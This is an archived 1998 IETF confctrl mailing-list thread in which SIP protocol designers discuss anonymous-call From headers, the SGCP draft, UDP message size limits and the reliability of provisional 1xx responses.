Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA27899
	for <confctrl@isi.edu>; Sun, 17 May 1998 00:34:56 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id JAA10732; Sun, 17 May 1998 09:27:48 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 42256607.002E6529 ; Sun, 17 May 1998 10:26:45 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: huitema@bellcore.com
cc: confctrl@ISI.EDU
Message-ID: <42256607.002AA874.00@il4.vocaltec.co.il>
Date: Sun, 17 May 1998 09:58:06 +0200
Subject: Re: Two more SIP questions - truly anonymous phone calls and
	 redirects
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 05/17/98 09:58 AM

Dear Christian (and Henning at the end ;-)):

SIP is SIP and RTP is RTP. I agree that if you want the RTP to be anonymous
there is the need for an "RTP proxy".
But SIP might have many uses without RTP, and SIP proxies exist (sort of),
so I was curious in making the session invitation anonymous, without
reference to RTP.

When a call is made in the PSTN, various parts of the network have identity
about the identity of the calling line (before any media is sent). Since a
"SIP network" with lots of proxies in the middle begins to look like a
bunch of switches (at least for routing the invitations, not the media), I
wanted to know if there was some "standard" way to keep knowledge of the
caller out of even the SIP network (not just the end user).

Your answer (just to garble the From: line) certainly works, I suppose.
It's just that it might be nice to have the ability to positively signal an
anonymous call. For example, so that "Internet Phone caller Id" software
will write "anonymous call" rather than "call from
anon-2345@anonymous.example.org".

It might be nice to agree on some "anonymous" convention so that we can
satisfy both desires (to always have a from line and to signal to the SIP
servers that it is there solely for uniqueness and not for identity).

Scott





huitema@bellcore.com on 05/15/98 04:21:48 PM

To:   Scott Petrack, confctrl@isi.edu
cc:
Subject:  Re: Two more SIP questions - truly anonymous phone calls and
      redirects




Scott,
Anonymous calls on the Internet really require the cooperation of a third
party, to do some form of anonymous RTP relay.  Otherwise, you can trace
the calling machine, and you are not really anonymous.
The solution adopted by anonymous remailers is to leave a "From" line,
but to put some garbage in it, as in:
        From: anon-2345@anonymous.example.org
Note that if you don't want to hide the calling station, you can always
blurr the identity of the calling party, as in:
        From: an-anonymous-caller@huitema-pc.bellcore.com
but I am not sure this is really useful...
As for the redirection to a mailbox, it serves a useful purpose.  Voice
mail.
--
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/






From confctrl-owner  Sun May 17 07:34:28 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA09824
	for confctrl-outgoing; Sun, 17 May 1998 07:34:28 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA09819
	for <confctrl@zephyr.isi.edu>; Sun, 17 May 1998 07:34:26 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA08319
	for <confctrl@ISI.EDU>; Sun, 17 May 1998 07:34:25 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id KAA17480; Sun, 17 May 1998 10:34:23 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id KAA07067; Sun, 17 May 1998 10:34:23 -0400 (EDT)
Message-ID: <355EF56F.41A8F06E@cs.columbia.edu>
Date: Sun, 17 May 1998 10:34:23 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: huitema@bellcore.com, confctrl@ISI.EDU
Subject: Re: Two more SIP questions - truly anonymous phone calls and redirects
References: <42256607.002AA874.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 
> From: Scott Petrack@VOCALTEC on 05/17/98 09:58 AM
> 
> Dear Christian (and Henning at the end ;-)):
> 

> Your answer (just to garble the From: line) certainly works, I suppose.
> It's just that it might be nice to have the ability to positively signal an
> anonymous call. For example, so that "Internet Phone caller Id" software
> will write "anonymous call" rather than "call from
> anon-2345@anonymous.example.org".
> 
> It might be nice to agree on some "anonymous" convention so that we can
> satisfy both desires (to always have a from line and to signal to the SIP
> servers that it is there solely for uniqueness and not for identity).

This is relatively easily done as is, as UIs are meant to present the
display part of the From and To header, as in

From: Anonymous <d83a8bc8@privacyrus.com>

This is (for example) how Netscape Mail lists the sender. Having the
anonymizer domain be available is not such a bad thing, since I'm much
more likely to pick up a call with

From: Anonymous <d328ad@privacy.acm.org>

than

From: Anonymous <898fazu2vad2@mafia.com>

Particularly if I know that the ACM only offers this priviledge to their
membership.

Another possibility would be to define that an address without @ is
meant to be just a random identifier, something like

From: Anonymous <4475849801100813893>

My hunch is that the first version is good enough.

From confctrl-owner  Mon May 18 14:21:46 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA01437
	for confctrl-outgoing; Mon, 18 May 1998 14:21:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA01432
	for <confctrl@zephyr.isi.edu>; Mon, 18 May 1998 14:21:45 -0700 (PDT)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA00192
	for <confctrl@isi.edu>; Mon, 18 May 1998 14:21:44 -0700 (PDT)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id RAA05081
	for <confctrl@isi.edu>; Mon, 18 May 1998 17:21:12 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id RAA19608
	for confctrl@isi.edu; Mon, 18 May 1998 17:21:11 -0400 (EDT)
Date: Mon, 18 May 1998 17:21:11 -0400 (EDT)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980518172111.ZM19606@seawind.bellcore.com>
In-Reply-To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
        "Re: Two more SIP questions - truly anonymous phone calls and redirects" (May 17, 10:34am)
References: <42256607.002AA874.00@il4.vocaltec.co.il> 
	<355EF56F.41A8F06E@cs.columbia.edu>
X-Mailer: Z-Mail (5.0.0 30July97)
To: confctrl@ISI.EDU
Subject: Simple Gateway Control Protocol
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

During the past months, the Internet telephony team at Bellcore has been
working on a protocol for controlling "simple" telephone gateways. The
SGCP assumes a call control architecture where the call control
'intelligence' is outside the gateways and handled by external call
control elements, the "call agents."  The specification of this protocol
are now available as an internet draft:

	Title		: Simple Gateway Control Protocol (SGCP)
	Author(s)	: C. Huitema, M. Arango
	Filename	: draft-huitema-sgcp-v1-00.txt
	Pages		: 54
	Date		: 15-May-98

Note that SGCP is not in competition with H.323, or SIP, but mostly
complementary.  In our approach, the signalling functions such as SS7,
H.323 or SIP are handled by the call agent, which is seen by these systems
as an SSP, a Gatekeeper or a SIP relay.  SGCP is then use to "program the
gateways" in sync with the signalling decision.

We believe that this protocol "fills a niche."  In fact, we hope that it
can become the basis for an open standard, so that call agents developed
by multiple providers can interact with gateways from different providers.
 We are also aware of the status of the MMUSIC working group, and are
definitely not proposing to conduct any such work within that group.  In
fact, we have set-up an open mailing list for the discussion of SGCP.

Please send mail to sgcp-request@bellcore.com for subscription
requests to the mailing list, sgcp@bellcore.com.  This is an open mailing
list.

The mailing list archive is accessible from the Internet by anonymous ftp
to ftp.bellcore.com.  The archive file is kept in /pub/Group.archive/sgcp
directory, under the file name "archive".


-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Tue May 19 07:15:50 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA17513
	for confctrl-outgoing; Tue, 19 May 1998 07:15:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA17508
	for <confctrl@zephyr.isi.edu>; Tue, 19 May 1998 07:15:48 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA01855
	for <confctrl@isi.edu>; Tue, 19 May 1998 07:15:47 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id KAA04768 for <confctrl@isi.edu>; Tue, 19 May 1998 10:15:45 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id KAA11296 for <confctrl@isi.edu>; Tue, 19 May 1998 10:15:45 -0400 (EDT)
Message-ID: <35619411.FD71956E@cs.columbia.edu>
Date: Tue, 19 May 1998 10:15:45 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP UDP maximum message size
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Currently, the SIP spec says that messages SHOULD not be bigger than the
MTU, if known, or 1400 bytes, if not. It has been argued that this
should be a MUST and that maybe we should impose a tighter limit (say,
2000 bytes) even with known MTUs, as it allows thin clients not to
implement IP fragmentation and limits the buffer size that needs to be
allocated by the receiver.

Message size is currently not likely to be a problem when carrying SDP,
but other session description formats (like H.245 or SMIL) tend to be
more verbose, so this may impose limitations later.

Unfortunately, going to TCP is not always an option, as the sender may
not know how big the response is. There are alternatives, such as:

(UDP) INVITE foo.bar.com
(UDP) 303 switch to UDP
      Location: sip:foo.bar.com ;transport=tcp

or

(UDP) INVITE foo.bar.com
      Accept: text/html

(UDP) 300 Multiple choices
      Location: http://www.bar.com/contacts.html

Comments?

-- 
Henning Schulzrinne   schulzrinne@cs.columbia.edu
Dept. of Comp. Sci.   ph  +1 212 939-7042
Columbia University   fax +1 212 666-0140
New York, NY 10027    http://www.cs.columbia.edu/~hgs

From confctrl-owner  Tue May 19 07:38:33 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA17836
	for confctrl-outgoing; Tue, 19 May 1998 07:38:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA17831
	for <confctrl@zephyr.isi.edu>; Tue, 19 May 1998 07:38:31 -0700 (PDT)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA02567
	for <confctrl@isi.edu>; Tue, 19 May 1998 07:38:30 -0700 (PDT)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id KAA13054;
	Tue, 19 May 1998 10:37:58 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id KAA20193;
	Tue, 19 May 1998 10:37:57 -0400 (EDT)
Date: Tue, 19 May 1998 10:37:57 -0400 (EDT)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980519103756.ZM20191@seawind.bellcore.com>
In-Reply-To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
        "SIP UDP maximum message size" (May 19, 10:15am)
References: <35619411.FD71956E@cs.columbia.edu>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Subject: Re: SIP UDP maximum message size
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

henning,

The SIP messages are composed of an invitation header and a payload, SDP
in most cases.  Today, SDP already limits the size of the session
description. You could punt the issue by simply limiting the size of the
SIP header, and relying on payload specifications for the application
level limitations.

-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Tue May 19 09:30:45 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA20849
	for confctrl-outgoing; Tue, 19 May 1998 09:30:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA20844
	for <confctrl@zephyr.isi.edu>; Tue, 19 May 1998 09:30:43 -0700 (PDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA10724
	for <confctrl@ISI.EDU>; Tue, 19 May 1998 09:30:42 -0700 (PDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199805191622.BAA15597@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id BAA15597; Wed, 20 May 1998 01:21:59 +0859
Subject: Re: SIP UDP maximum message size
To: schulzrinne@cs.columbia.edu (Henning Schulzrinne)
Date: Wed, 20 May 98 1:21:58 JST
Cc: confctrl@ISI.EDU
In-Reply-To: <35619411.FD71956E@cs.columbia.edu>; from "Henning Schulzrinne" at May 19, 98 10:15 am
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Currently, the SIP spec says that messages SHOULD not be bigger than the
> MTU, if known, or 1400 bytes, if not. It has been argued that this
> should be a MUST and that maybe we should impose a tighter limit (say,
> 2000 bytes) even with known MTUs, as it allows thin clients not to
> implement IP fragmentation and limits the buffer size that needs to be
> allocated by the receiver.
> 
> Message size is currently not likely to be a problem when carrying SDP,
> but other session description formats (like H.245 or SMIL) tend to be
> more verbose, so this may impose limitations later.
> 
> Unfortunately, going to TCP is not always an option, as the sender may
> not know how big the response is. There are alternatives, such as:
> 
> (UDP) INVITE foo.bar.com
> (UDP) 303 switch to UDP
>       Location: sip:foo.bar.com ;transport=tcp
> 
> or
> 
> (UDP) INVITE foo.bar.com
>       Accept: text/html
> 
> (UDP) 300 Multiple choices
>       Location: http://www.bar.com/contacts.html
> 
> Comments?

Maximum buffer size without PMTUD, which MUST be the case with
large scale multicast, should be less than 1280 with IPv6
and 576 with IPv4.

Howver, as SIP does not scale with large scale multicast, any
discovered MTU is fine for SIP as an informational RFC with
a narrow applicability statement.

						Masataka Ohta

From confctrl-owner  Tue May 19 11:20:00 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA24299
	for confctrl-outgoing; Tue, 19 May 1998 11:20:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA24294
	for <confctrl@zephyr.isi.edu>; Tue, 19 May 1998 11:19:58 -0700 (PDT)
Received: from nettrix.mediatrix.com (nettrix.mediatrix.com [205.237.248.99])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA21865
	for <confctrl@ISI.EDU>; Tue, 19 May 1998 11:19:57 -0700 (PDT)
Received: by nettrix.mediatrix.com with Internet Mail Service (5.5.1960.3)
	id <KDDZPQGJ>; Tue, 19 May 1998 14:19:20 -0400
Message-ID: <D1222A5B22CBD0118D8E0000C00C85E912ED74@nettrix.mediatrix.com>
From: Eric Tremblay <etremblay@mediatrix.com>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: SIP Provisional Responses
Date: Tue, 19 May 1998 14:19:18 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id LAA24295
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I think I just found small problem:

A SIP User Agent client (UAC)invites a remote user agent server (UAS).
The server's response to this request is Trying (100) and it then take
whatever action needed to see if the user is on the system.  The server
finds the user on the local system and alerts him.  The server now could
send 180 (Ringing) responses to the UAC, but how?  According to the
latest draft, the server has to wait for a retransmission by the UAC
(which is once every 30 seconds) before sending again a response.  I
think a remote UAC cannot wait such a delay before knowing that the
remote party is ringing.  How can the UAC be notified in time?

A quick and simple solution would be to have the UAC retransmit its
requests at a T1 interval (1 second) until it receives a response
GREATER than 100 or we could introduce another timer for the client(2-3
seconds).  

Comments?

Eric M. Tremblay    | Mediatrix Telecom
Ingénieur Stagiaire | -----------------
email: etremblay@mediatrix.com
Phone: +1(819)829-8749 ext. 238
Web: www.mediatrix.com

From confctrl-owner  Tue May 19 14:24:10 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA27978
	for confctrl-outgoing; Tue, 19 May 1998 14:24:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA27973
	for <confctrl@zephyr.isi.edu>; Tue, 19 May 1998 14:24:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA08705
	for <confctrl@isi.edu>; Tue, 19 May 1998 14:24:03 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Tue May 19 17:23:58 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id RAA27480;
	Tue, 19 May 1998 17:23:57 -0400 (EDT)
Message-ID: <3561F7FF.8B4466A@dnrc.bell-labs.com>
Date: Tue, 19 May 1998 17:22:07 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Eric Tremblay <etremblay@mediatrix.com>
CC: confctrl@ISI.EDU
Subject: Re: SIP Provisional Responses
References: <D1222A5B22CBD0118D8E0000C00C85E912ED74@nettrix.mediatrix.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Eric Tremblay wrote:
> 
> I think I just found small problem:
> 
> A SIP User Agent client (UAC)invites a remote user agent server (UAS).
> The server's response to this request is Trying (100) and it then take
> whatever action needed to see if the user is on the system.  The server
> finds the user on the local system and alerts him.  The server now could
> send 180 (Ringing) responses to the UAC, but how?  According to the
> latest draft, the server has to wait for a retransmission by the UAC
> (which is once every 30 seconds) before sending again a response.  I
> think a remote UAC cannot wait such a delay before knowing that the
> remote party is ringing.  How can the UAC be notified in time?

The user agent server *retransmits* its current response upon receiving
a retransmission of the request, but it can send a response at any time.
Thus, you would send the 180 whenever you want, and the 200 (if the call
is accepted) as soon as the user accepts - no need to wait for a request
retransmission. 

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue May 19 15:06:55 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA28647
	for confctrl-outgoing; Tue, 19 May 1998 15:06:55 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA28642
	for <confctrl@zephyr.isi.edu>; Tue, 19 May 1998 15:06:51 -0700 (PDT)
Received: from nettrix.mediatrix.com (nettrix.mediatrix.com [205.237.248.99])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA12412
	for <confctrl@ISI.EDU>; Tue, 19 May 1998 15:06:43 -0700 (PDT)
Received: by nettrix.mediatrix.com with Internet Mail Service (5.5.1960.3)
	id <KDDZPQHT>; Tue, 19 May 1998 18:05:54 -0400
Message-ID: <D1222A5B22CBD0118D8E0000C00C85E912ED75@nettrix.mediatrix.com>
From: Eric Tremblay <etremblay@mediatrix.com>
To: "'Jonathan Rosenberg'" <jdrosen@dnrc.bell-labs.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: RE: SIP Provisional Responses
Date: Tue, 19 May 1998 18:05:53 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id PAA28643
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


How can the user agent server make sure that the client received the
"new" (180) status code?  If the server just sends one 180 response, it
can easily get lost, and the next 180 response that will be sent will be
in response of a retransmission, which is around 30 seconds later.

Should the server send more than one "new" status code?  I think so, but
how?  I think the 180 response is important for rendering call
progress...

I understand that even if the UAC does not receives any 180 responses,
the call can be established, but I personnaly don't like the UAC seeing
simply a transition from 100 to 200.


EricT

Eric Tremblay       | Mediatrix Telecom
Ingénieur Stagiaire | -----------------
email: etremblay@mediatrix.com
Tel: +1(819)829-8749 ext. 238
Web: www.mediatrix.com

> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dnrc.bell-labs.com]
> Sent: 19 mai, 1998 17:22
> To: Eric Tremblay
> Cc: confctrl@isi.edu
> Subject: Re: SIP Provisional Responses
> 
> 
> Eric Tremblay wrote:
> > 
> > I think I just found small problem:
> > 
> > A SIP User Agent client (UAC)invites a remote user agent 
> server (UAS).
> > The server's response to this request is Trying (100) and 
> it then take
> > whatever action needed to see if the user is on the system. 
>  The server
> > finds the user on the local system and alerts him.  The 
> server now could
> > send 180 (Ringing) responses to the UAC, but how?  According to the
> > latest draft, the server has to wait for a retransmission by the UAC
> > (which is once every 30 seconds) before sending again a response.  I
> > think a remote UAC cannot wait such a delay before knowing that the
> > remote party is ringing.  How can the UAC be notified in time?
> 
> The user agent server *retransmits* its current response upon 
> receiving
> a retransmission of the request, but it can send a response 
> at any time.
> Thus, you would send the 180 whenever you want, and the 200 
> (if the call
> is accepted) as soon as the user accepts - no need to wait 
> for a request
> retransmission. 
> 
> -Jonathan R.
> 
> -- 
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX:   (732) 834-5379                       Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen
> 

From confctrl-owner  Tue May 19 16:06:11 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA29965
	for confctrl-outgoing; Tue, 19 May 1998 16:06:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA29955
	for <confctrl@zephyr.isi.edu>; Tue, 19 May 1998 16:06:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id QAA18106
	for <confctrl@ISI.EDU>; Tue, 19 May 1998 16:06:02 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Tue May 19 19:05:39 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id TAA29685;
	Tue, 19 May 1998 19:05:39 -0400 (EDT)
Message-ID: <35620FD4.78E9393F@dnrc.bell-labs.com>
Date: Tue, 19 May 1998 19:03:48 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Eric Tremblay <etremblay@mediatrix.com>
CC: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP Provisional Responses
References: <D1222A5B22CBD0118D8E0000C00C85E912ED75@nettrix.mediatrix.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Eric Tremblay wrote:
> 
> How can the user agent server make sure that the client received the
> "new" (180) status code?  If the server just sends one 180 response, it
> can easily get lost, and the next 180 response that will be sent will be
> in response of a retransmission, which is around 30 seconds later.

The 1xx responses are not reliable.

> 
> Should the server send more than one "new" status code?  I think so, but
> how?  I think the 180 response is important for rendering call
> progress...
> 
> I understand that even if the UAC does not receives any 180 responses,
> the call can be established, but I personnaly don't like the UAC seeing
> simply a transition from 100 to 200.

Why? 

You should note that the 100 provisional response is not always sent
(only if a server anticipates not being able to answer right away); a
caller can send a request and see a 200 response immediately without
ever receiving a 100, let alone 180.


-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue May 19 17:20:12 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA01922
	for confctrl-outgoing; Tue, 19 May 1998 17:20:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA01917
	for <confctrl@zephyr.isi.edu>; Tue, 19 May 1998 17:20:10 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA25867
	for <confctrl@ISI.EDU>; Tue, 19 May 1998 17:20:08 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id UAA09397; Tue, 19 May 1998 20:20:07 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id UAA12648; Tue, 19 May 1998 20:20:06 -0400 (EDT)
Message-ID: <356221B6.2F8FBC43@cs.columbia.edu>
Date: Tue, 19 May 1998 20:20:06 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Eric Tremblay <etremblay@mediatrix.com>
CC: "'Jonathan Rosenberg'" <jdrosen@dnrc.bell-labs.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP Provisional Responses
References: <D1222A5B22CBD0118D8E0000C00C85E912ED75@nettrix.mediatrix.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Eric Tremblay wrote:
> 
> How can the user agent server make sure that the client received the
> "new" (180) status code?  If the server just sends one 180 response, it
> can easily get lost, and the next 180 response that will be sent will be
> in response of a retransmission, which is around 30 seconds later.
> 
> Should the server send more than one "new" status code?  I think so, but
> how?  I think the 180 response is important for rendering call
> progress...
> 
> I understand that even if the UAC does not receives any 180 responses,
> the call can be established, but I personnaly don't like the UAC seeing
> simply a transition from 100 to 200.
> 

Unfortunately, the alternative of acknowledging 1xx responses would
greatly complicate the state machinery.

Currently, either client or server can, if they so desire and are
willing to suffer the network traffic and server load consequences, get
semi-reliable status updates:

1) The client can retransmit INVITE more frequently. This is against the
rules, but otherwise causes no interoperability problems.

2) The server can retransmit 1xx responses periodically.

For non-technical users, the difference between Trying and Ringing isn't
all that great - certainly not something that the standard telephone
tones (ring-back in either case) could express.

From confctrl-owner  Wed May 20 00:33:04 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA08392
	for confctrl-outgoing; Wed, 20 May 1998 00:33:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
